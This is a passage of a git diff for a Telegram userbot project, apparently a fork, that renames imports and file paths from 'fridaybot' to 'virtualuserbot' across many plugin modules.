a/virtualuserbot/modules/animation4.py +++ b/virtualuserbot/modules/animation4.py @@ -2,7 +2,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/anime.py b/virtualuserbot/modules/anime.py index f3058a7c..3ccfc71c 100644 --- a/virtualuserbot/modules/anime.py +++ b/virtualuserbot/modules/anime.py @@ -1,6 +1,6 @@ from anime_downloader.sites import get_anime_class -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from mal import Anime, AnimeSearch, Manga, MangaSearch diff --git a/virtualuserbot/modules/antiflood.py b/virtualuserbot/modules/antiflood.py index f72c85ea..647540e0 100644 --- a/virtualuserbot/modules/antiflood.py +++ b/virtualuserbot/modules/antiflood.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP, pro -from fridaybot.modules.sql_helper import floodsql as sql +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.modules.sql_helper import floodsql as sql from telethon.tl.functions.channels import EditBannedRequest from telethon.tl.types import ChatBannedRights diff --git a/virtualuserbot/modules/antispam.py b/virtualuserbot/modules/antispam.py index c15878d3..e17b7e82 100644 --- a/virtualuserbot/modules/antispam.py +++ b/virtualuserbot/modules/antispam.py @@ -1,5 +1,5 @@ -from fridaybot import bot, sclient -from fridaybot.Configs import Config +from virtualuserbot import bot, sclient +from virtualuserbot.Configs import Config from telethon.events import ChatAction """Bans Spammers/Scammer At time Of Arrival diff --git a/virtualuserbot/modules/antivirus.py b/virtualuserbot/modules/antivirus.py index b77e47da..b8e0b97e 100644 --- a/virtualuserbot/modules/antivirus.py +++ b/virtualuserbot/modules/antivirus.py @@ -1,5 +1,5 @@ # Lots of lub to @r4v4n4 for gibing the base <3 -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/archiver.py b/virtualuserbot/modules/archiver.py index 59ddc2ff..4e6b843a 100644 --- a/virtualuserbot/modules/archiver.py +++ b/virtualuserbot/modules/archiver.py @@ -12,8 +12,8 @@ from datetime import datetime import patoolib -from fridaybot import CMD_HELP -from fridaybot.Configs import Config as Var +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config as Var from hachoir.metadata import extractMetadata from hachoir.parser import createParser from telethon.tl.types import DocumentAttributeVideo diff --git a/virtualuserbot/modules/art.py b/virtualuserbot/modules/art.py index c9de386c..52185cba 100644 --- a/virtualuserbot/modules/art.py +++ b/virtualuserbot/modules/art.py @@ -1,5 +1,5 @@ # Edit credit @Sur_vivor & @jisan7509 -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/assistant/README.md b/virtualuserbot/modules/assistant/README.md index d37b5241..1c9dcb05 100644 --- a/virtualuserbot/modules/assistant/README.md +++ b/virtualuserbot/modules/assistant/README.md @@ -1,8 +1,8 @@ # EXAMPLE CODE FOR ASSISTANT MODULE/PLUGIN ```python3 -from fridaybot.Configs import Config -from fridaybot import bot +from virtualuserbot.Configs import Config +from virtualuserbot import bot @assistant_cmd("commandhere", is_args=True) @only_pvt async def shit(event): diff --git a/virtualuserbot/modules/assistant/bot_alive.py b/virtualuserbot/modules/assistant/bot_alive.py index 96f4e12d..f900bf9e 100644 --- a/virtualuserbot/modules/assistant/bot_alive.py +++ b/virtualuserbot/modules/assistant/bot_alive.py @@ -12,8 +12,8 @@ # along with this program. If not, see . -from fridaybot import ALIVE_NAME -from fridaybot.modules import currentversion +from virtualuserbot import ALIVE_NAME +from virtualuserbot.modules import currentversion DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" PM_IMG = "https://telegra.ph/file/0e7a45ed44e17ce68d8cd.png" diff --git a/virtualuserbot/modules/assistant/main_assistant.py b/virtualuserbot/modules/assistant/main_assistant.py index 52938346..386e9fc1 100644 --- a/virtualuserbot/modules/assistant/main_assistant.py +++ b/virtualuserbot/modules/assistant/main_assistant.py @@ -17,15 +17,15 @@ import re import telethon -from fridaybot import bot -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.blacklist_assistant import ( +from virtualuserbot import bot +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.blacklist_assistant import ( add_nibba_in_db, is_he_added, removenibba, ) -from fridaybot.modules.sql_helper.botusers_sql import add_me_in_db, his_userid -from fridaybot.modules.sql_helper.idadder_sql import ( +from virtualuserbot.modules.sql_helper.botusers_sql import add_me_in_db, his_userid +from virtualuserbot.modules.sql_helper.idadder_sql import ( add_usersid_in_db, already_added, get_all_users, diff --git a/virtualuserbot/modules/assistant/notes.py b/virtualuserbot/modules/assistant/notes.py index c21d5901..c1655747 100644 --- a/virtualuserbot/modules/assistant/notes.py +++ b/virtualuserbot/modules/assistant/notes.py @@ -1,5 +1,5 @@ -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.snips_sql import ( +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.snips_sql import ( add_snip, get_all_snips, get_snips, diff --git a/virtualuserbot/modules/assistant/ping.py b/virtualuserbot/modules/assistant/ping.py index e269e4a1..901d2e1b 100644 --- a/virtualuserbot/modules/assistant/ping.py +++ b/virtualuserbot/modules/assistant/ping.py @@ -15,7 +15,7 @@ import time from datetime import datetime -from fridaybot import Lastupdate +from virtualuserbot import Lastupdate def get_readable_time(seconds: int) -> str: diff --git a/virtualuserbot/modules/autotools.py b/virtualuserbot/modules/autotools.py index 4d9adda3..369720b0 100644 --- a/virtualuserbot/modules/autotools.py +++ b/virtualuserbot/modules/autotools.py @@ -12,7 +12,7 @@ import time from datetime import datetime -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from PIL import Image, ImageDraw, ImageFont from pySmartDL import SmartDL from telethon.errors import FloodWaitError @@ -45,12 +45,12 @@ async def autopic(event): if event.fwd_from: return global AUTOPICSTART - downloaded_file_name = "fridaybot/original_pic.png" + downloaded_file_name = "virtualuserbot/original_pic.png" downloader = SmartDL( Var.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=False ) downloader.start(blocking=False) - photo = "fridaybot/photo_pfp.png" + photo = "virtualuserbot/photo_pfp.png" while not downloader.isFinished(): pass input_str = event.pattern_match.group(1) @@ -92,13 +92,13 @@ async def main(event): if event.fwd_from: return global DIGITALPICSTART - poto = "fridaybot/poto_pfp.png" + poto = "virtualuserbot/poto_pfp.png" cat = str( base64.b64decode( "aHR0cHM6Ly90ZWxlZ3JhLnBoL2ZpbGUvYWVhZWJlMzNiMWYzOTg4YTBiNjkwLmpwZw==" ) )[2:51] - downloaded_file_name = "fridaybot/original_pic.png" + downloaded_file_name = "virtualuserbot/original_pic.png" downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) downloader.start(blocking=False) if DIGITALPICSTART: @@ -134,12 +134,12 @@ async def autopic(event): if event.fwd_from: return global BLOOMSTART - downloaded_file_name = "fridaybot/original_pic.png" + downloaded_file_name = "virtualuserbot/original_pic.png" downloader = SmartDL( Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=True ) downloader.start(blocking=False) - photo = "fridaybot/photo_pfp.png" + photo = "virtualuserbot/photo_pfp.png" while not downloader.isFinished(): pass if BLOOMSTART: diff --git a/virtualuserbot/modules/barcode.py b/virtualuserbot/modules/barcode.py index 0a9fc3c9..9af68fca 100644 --- a/virtualuserbot/modules/barcode.py +++ b/virtualuserbot/modules/barcode.py @@ -9,7 +9,7 @@ import barcode from barcode.writer import ImageWriter -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/bash.py b/virtualuserbot/modules/bash.py index b96f9032..4765b6c3 100644 --- a/virtualuserbot/modules/bash.py +++ b/virtualuserbot/modules/bash.py @@ -2,8 +2,8 @@ import io import time -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="bash ?(.*)")) diff --git a/virtualuserbot/modules/bassboost.py b/virtualuserbot/modules/bassboost.py index c4c810bf..e03f59d7 100644 --- a/virtualuserbot/modules/bassboost.py +++ b/virtualuserbot/modules/bassboost.py @@ -4,7 +4,7 @@ import os import numpy as np -from fridaybot.utils import admin_cmd +from virtualuserbot.utils import admin_cmd from pydub import AudioSegment from telethon import types diff --git a/virtualuserbot/modules/bible.py b/virtualuserbot/modules/bible.py index e8853d5c..8cfe1ba2 100644 --- a/virtualuserbot/modules/bible.py +++ b/virtualuserbot/modules/bible.py @@ -1,6 +1,6 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="bible (.*)")) diff --git a/virtualuserbot/modules/bin.py b/virtualuserbot/modules/bin.py index a089219c..a450c593 100644 --- a/virtualuserbot/modules/bin.py +++ b/virtualuserbot/modules/bin.py @@ -1,5 +1,5 @@ # pata nhi sir 👀👀👀👀 -from fridaybot import bot as danish_00 +from virtualuserbot import bot as danish_00 from telethon import events, functions from telethon.errors.rpcerrorlist import YouBlockedUserError diff --git a/virtualuserbot/modules/blacklist.py b/virtualuserbot/modules/blacklist.py index 4cf35aa5..37dd0420 100644 --- a/virtualuserbot/modules/blacklist.py +++ b/virtualuserbot/modules/blacklist.py @@ -8,8 +8,8 @@ .rmblacklist""" import re -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon import events from .sql_helper import blacklist_sql as sql diff --git a/virtualuserbot/modules/books.py b/virtualuserbot/modules/books.py index 7ae6a9cd..45a23009 100644 --- a/virtualuserbot/modules/books.py +++ b/virtualuserbot/modules/books.py @@ -16,8 +16,8 @@ import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="book (.*)")) diff --git a/virtualuserbot/modules/bot_tag.py b/virtualuserbot/modules/bot_tag.py index c08dfd49..48c0fa4e 100644 --- a/virtualuserbot/modules/bot_tag.py +++ b/virtualuserbot/modules/bot_tag.py @@ -12,7 +12,7 @@ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -from fridaybot.Configs import Config +from virtualuserbot.Configs import Config from telethon import custom, events from telethon.tl.types import Chat from telethon.utils import get_display_name diff --git a/virtualuserbot/modules/broadcast.py b/virtualuserbot/modules/broadcast.py index 648ee4bb..0d3ce89c 100644 --- a/virtualuserbot/modules/broadcast.py +++ b/virtualuserbot/modules/broadcast.py @@ -15,15 +15,15 @@ import io import os -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.broadcast_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.broadcast_sql import ( add_chnnl_in_db, already_added, get_all_chnnl, rm_channel, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd loggy_grp = Config.PRIVATE_GROUP_ID diff --git a/virtualuserbot/modules/bye.py b/virtualuserbot/modules/bye.py index 2965c931..a6b24ea9 100644 --- a/virtualuserbot/modules/bye.py +++ b/virtualuserbot/modules/bye.py @@ -6,8 +6,8 @@ """ import time -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from telethon.tl.functions.channels import LeaveChannelRequest diff --git a/virtualuserbot/modules/calladmin.py b/virtualuserbot/modules/calladmin.py index 72e40c63..ecabf1ec 100644 --- a/virtualuserbot/modules/calladmin.py +++ b/virtualuserbot/modules/calladmin.py @@ -1,5 +1,5 @@ """.admin Plugin for @UniBorg""" -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.types import ChannelParticipantsAdmins from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index 18184a3a..b33d0975 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -10,8 +10,8 @@ from time import sleep from urllib.parse import quote_plus -from fridaybot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN -from fridaybot.utils import register +from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN +from virtualuserbot.utils import register from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys diff --git a/virtualuserbot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py index e1b46f1a..f611fabe 100644 --- a/virtualuserbot/modules/carbonRGB.py +++ b/virtualuserbot/modules/carbonRGB.py @@ -8,7 +8,7 @@ from time import sleep from urllib.parse import quote_plus -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from selenium import webdriver from selenium.webdriver.chrome.options import Options diff --git a/virtualuserbot/modules/card.py b/virtualuserbot/modules/card.py index 0372289d..c50354a6 100644 --- a/virtualuserbot/modules/card.py +++ b/virtualuserbot/modules/card.py @@ -6,7 +6,7 @@ # Card Generator ############################## from faker import Faker as dc -from fridaybot import bot as cobra +from virtualuserbot import bot as cobra from ..utils import admin_cmd as hehe diff --git a/virtualuserbot/modules/chain.py b/virtualuserbot/modules/chain.py index ec5e4adc..9756c402 100644 --- a/virtualuserbot/modules/chain.py +++ b/virtualuserbot/modules/chain.py @@ -2,7 +2,7 @@ # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.functions.messages import SaveDraftRequest diff --git a/virtualuserbot/modules/channel_download.py b/virtualuserbot/modules/channel_download.py index b65a5d2f..fb27b564 100644 --- a/virtualuserbot/modules/channel_download.py +++ b/virtualuserbot/modules/channel_download.py @@ -1,5 +1,5 @@ """ -Telegram Channel Media Downloader Plugin for fridaybot. +Telegram Channel Media Downloader Plugin for virtualuserbot. usage: .geta channel_username [will get all media from channel, tho there is limit of 3000 there to prevent API limits.] .getc number_of_messsages channel_username By: @Zero_cool7870 @@ -7,7 +7,7 @@ import os import subprocess -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/channel_sticker.py b/virtualuserbot/modules/channel_sticker.py index 1ff2a7f9..2198a637 100644 --- a/virtualuserbot/modules/channel_sticker.py +++ b/virtualuserbot/modules/channel_sticker.py @@ -1,9 +1,9 @@ -from fridaybot.modules.sql_helper.channel_sticker_sql import ( +from virtualuserbot.modules.sql_helper.channel_sticker_sql import ( add_new_data_in_db, is_data_indb, remove_datas, ) -from fridaybot.utils import admin_cmd +from virtualuserbot.utils import admin_cmd from telethon import events from telethon.utils import pack_bot_file_id diff --git a/virtualuserbot/modules/channel_zipper.py b/virtualuserbot/modules/channel_zipper.py index c364e7cb..b920bc48 100644 --- a/virtualuserbot/modules/channel_zipper.py +++ b/virtualuserbot/modules/channel_zipper.py @@ -15,8 +15,8 @@ import shutil import uuid -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="chnnlzip(?: |$)(.*)")) diff --git a/virtualuserbot/modules/checkrestrictions.py b/virtualuserbot/modules/checkrestrictions.py index b2ee5257..73faaaae 100644 --- a/virtualuserbot/modules/checkrestrictions.py +++ b/virtualuserbot/modules/checkrestrictions.py @@ -4,7 +4,7 @@ """Check Account Restrictions .cr (.*)""" -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import Channel, Chat, User diff --git a/virtualuserbot/modules/classictranslate.py b/virtualuserbot/modules/classictranslate.py index 80e988fd..8bb25be3 100644 --- a/virtualuserbot/modules/classictranslate.py +++ b/virtualuserbot/modules/classictranslate.py @@ -4,7 +4,7 @@ .tl LangaugeCode | text to translate""" import emoji -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from googletrans import Translator from ..utils import admin_cmd diff --git a/virtualuserbot/modules/clone.py b/virtualuserbot/modules/clone.py index 3284d476..a9fed591 100644 --- a/virtualuserbot/modules/clone.py +++ b/virtualuserbot/modules/clone.py @@ -5,8 +5,8 @@ import asyncio import html -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl import functions from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName diff --git a/virtualuserbot/modules/cmd_list.py b/virtualuserbot/modules/cmd_list.py index 2f6888ba..a0352d4d 100644 --- a/virtualuserbot/modules/cmd_list.py +++ b/virtualuserbot/modules/cmd_list.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd # @command(pattern="^.cmds", outgoing=True) @@ -9,7 +9,7 @@ async def install(event): if event.fwd_from: return - cmd = "ls fridaybot/modules" + cmd = "ls virtualuserbot/modules" process = await asyncio.create_subprocess_shell( cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) diff --git a/virtualuserbot/modules/coinflip.py b/virtualuserbot/modules/coinflip.py index 04f78ebe..dbf9bd67 100644 --- a/virtualuserbot/modules/coinflip.py +++ b/virtualuserbot/modules/coinflip.py @@ -2,7 +2,7 @@ Syntax: .coinflip [optional_choice]""" import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/colors.py b/virtualuserbot/modules/colors.py index 9d2e85cb..c1fc8aa3 100644 --- a/virtualuserbot/modules/colors.py +++ b/virtualuserbot/modules/colors.py @@ -2,8 +2,8 @@ Syntax: .color """ import os -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageColor diff --git a/virtualuserbot/modules/congratulations.py b/virtualuserbot/modules/congratulations.py index 1d7aa69f..76fd303e 100644 --- a/virtualuserbot/modules/congratulations.py +++ b/virtualuserbot/modules/congratulations.py @@ -1,6 +1,6 @@ import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd RUNSREACTS = [ diff --git a/virtualuserbot/modules/copy.py b/virtualuserbot/modules/copy.py index 27c192f9..98726e0c 100644 --- a/virtualuserbot/modules/copy.py +++ b/virtualuserbot/modules/copy.py @@ -1,6 +1,6 @@ # Original credits to Black Lightning -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/count.py b/virtualuserbot/modules/count.py index 8b4f7d3e..b72d7bcf 100644 --- a/virtualuserbot/modules/count.py +++ b/virtualuserbot/modules/count.py @@ -3,8 +3,8 @@ import logging import time -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.events import NewMessage from telethon.tl.custom import Dialog from telethon.tl.types import Channel, Chat, User diff --git a/virtualuserbot/modules/countries.py b/virtualuserbot/modules/countries.py index 49150395..1e78ba8e 100644 --- a/virtualuserbot/modules/countries.py +++ b/virtualuserbot/modules/countries.py @@ -13,8 +13,8 @@ import flag from countryinfo import CountryInfo -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="country (.*)")) diff --git a/virtualuserbot/modules/covid.py b/virtualuserbot/modules/covid.py index 9a64bc60..e58338c6 100644 --- a/virtualuserbot/modules/covid.py +++ b/virtualuserbot/modules/covid.py @@ -1,6 +1,6 @@ # corona virus stats for catuserbot from covid import Covid -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/cow.py b/virtualuserbot/modules/cow.py index 892e723f..c5ac18ca 100644 --- a/virtualuserbot/modules/cow.py +++ b/virtualuserbot/modules/cow.py @@ -4,7 +4,7 @@ from cowpy import cow -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py index e7b466a1..7dc6113d 100644 --- a/virtualuserbot/modules/crack_tools.py +++ b/virtualuserbot/modules/crack_tools.py @@ -1,8 +1,8 @@ import os import requests -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd, friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd, friday_on_cmd from uniborg.util import friday_on_cmd data = { diff --git a/virtualuserbot/modules/create.py b/virtualuserbot/modules/create.py index e19dc195..0163e90a 100644 --- a/virtualuserbot/modules/create.py +++ b/virtualuserbot/modules/create.py @@ -2,8 +2,8 @@ for bot credits to @pureindialover """ -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register from telethon.tl import functions diff --git a/virtualuserbot/modules/cricket_score.py b/virtualuserbot/modules/cricket_score.py index 0db7e886..d9e6e632 100644 --- a/virtualuserbot/modules/cricket_score.py +++ b/virtualuserbot/modules/cricket_score.py @@ -15,8 +15,8 @@ import urllib.request from bs4 import BeautifulSoup -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="cs")) diff --git a/virtualuserbot/modules/crypto.py b/virtualuserbot/modules/crypto.py index 5c97eb58..d77b9127 100644 --- a/virtualuserbot/modules/crypto.py +++ b/virtualuserbot/modules/crypto.py @@ -13,8 +13,8 @@ import cryptocompare -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="crypto (.*)")) diff --git a/virtualuserbot/modules/currency.py b/virtualuserbot/modules/currency.py index 8b1b8e68..400903cc 100644 --- a/virtualuserbot/modules/currency.py +++ b/virtualuserbot/modules/currency.py @@ -2,7 +2,7 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/customs.py b/virtualuserbot/modules/customs.py index 034aaaec..8f3ed352 100644 --- a/virtualuserbot/modules/customs.py +++ b/virtualuserbot/modules/customs.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd diff --git a/virtualuserbot/modules/dagd.py b/virtualuserbot/modules/dagd.py index aeb2ebcf..117198d3 100644 --- a/virtualuserbot/modules/dagd.py +++ b/virtualuserbot/modules/dagd.py @@ -5,7 +5,7 @@ .url .unshort """ import requests -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("dns (.*)")) diff --git a/virtualuserbot/modules/decide.py b/virtualuserbot/modules/decide.py index 9e9cae5a..8de47701 100644 --- a/virtualuserbot/modules/decide.py +++ b/virtualuserbot/modules/decide.py @@ -1,8 +1,8 @@ """Quickly make a decision Syntax: .decide""" import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("decide")) diff --git a/virtualuserbot/modules/deepfryer.py b/virtualuserbot/modules/deepfryer.py index b2d33eab..3a64eca8 100644 --- a/virtualuserbot/modules/deepfryer.py +++ b/virtualuserbot/modules/deepfryer.py @@ -32,9 +32,9 @@ import os from random import randint, uniform -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageEnhance, ImageOps from telethon.tl.types import DocumentAttributeFilename from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/delfp.py b/virtualuserbot/modules/delfp.py index 3d68e492..3bab9696 100644 --- a/virtualuserbot/modules/delfp.py +++ b/virtualuserbot/modules/delfp.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.functions.photos import DeletePhotosRequest, GetUserPhotosRequest from telethon.tl.types import InputPhoto from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/design.py b/virtualuserbot/modules/design.py index 82796d60..0640d899 100644 --- a/virtualuserbot/modules/design.py +++ b/virtualuserbot/modules/design.py @@ -1,6 +1,6 @@ """.admin Plugin for @UniBorg""" -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import ChannelParticipantsAdmins diff --git a/virtualuserbot/modules/diceandart.py b/virtualuserbot/modules/diceandart.py index 8092c078..40970b57 100644 --- a/virtualuserbot/modules/diceandart.py +++ b/virtualuserbot/modules/diceandart.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl.types import InputMediaDice # EMOJI CONSTANTS diff --git a/virtualuserbot/modules/dictionary.py b/virtualuserbot/modules/dictionary.py index e3a63b88..8486f626 100644 --- a/virtualuserbot/modules/dictionary.py +++ b/virtualuserbot/modules/dictionary.py @@ -6,7 +6,7 @@ nltk.download("wordnet") from nltk.corpus import wordnet -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index 40da1d58..7b94d33c 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -13,8 +13,8 @@ import requests from bs4 import BeautifulSoup -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register from humanize import naturalsize diff --git a/virtualuserbot/modules/dm.py b/virtualuserbot/modules/dm.py index 26ce092f..183b7913 100644 --- a/virtualuserbot/modules/dm.py +++ b/virtualuserbot/modules/dm.py @@ -1,6 +1,6 @@ # By @HeisenbergTheDanger and @xditya -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import * from ..utils import admin_cmd diff --git a/virtualuserbot/modules/dns.py b/virtualuserbot/modules/dns.py index 94335523..da8c86f3 100644 --- a/virtualuserbot/modules/dns.py +++ b/virtualuserbot/modules/dns.py @@ -5,8 +5,8 @@ .url .unshort """ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("dns (.*)")) diff --git a/virtualuserbot/modules/duckduckgo.py b/virtualuserbot/modules/duckduckgo.py index e86fe89b..2eec3084 100644 --- a/virtualuserbot/modules/duckduckgo.py +++ b/virtualuserbot/modules/duckduckgo.py @@ -1,6 +1,6 @@ """use command .ducduckgo""" -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/dumpster.py b/virtualuserbot/modules/dumpster.py index d98186a2..435675eb 100644 --- a/virtualuserbot/modules/dumpster.py +++ b/virtualuserbot/modules/dumpster.py @@ -1,7 +1,7 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.errors.rpcerrorlist import MessageIdInvalidError diff --git a/virtualuserbot/modules/ekart.py b/virtualuserbot/modules/ekart.py index 194a4d5c..45c66922 100644 --- a/virtualuserbot/modules/ekart.py +++ b/virtualuserbot/modules/ekart.py @@ -1,6 +1,6 @@ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="ekart (.*)")) diff --git a/virtualuserbot/modules/emojify.py b/virtualuserbot/modules/emojify.py index dad34f13..f1016302 100644 --- a/virtualuserbot/modules/emojify.py +++ b/virtualuserbot/modules/emojify.py @@ -4,8 +4,8 @@ Userbot plugin for CatUserbot """ import emoji -from fridaybot import CMD_HELP -from fridaybot.modules import fonts as emojify +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts as emojify from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/emojis.py b/virtualuserbot/modules/emojis.py index ff2d0782..4d19915e 100644 --- a/virtualuserbot/modules/emojis.py +++ b/virtualuserbot/modules/emojis.py @@ -6,7 +6,7 @@ .emoji -_-""" import asyncio -from fridaybot import CMD_HELP +from 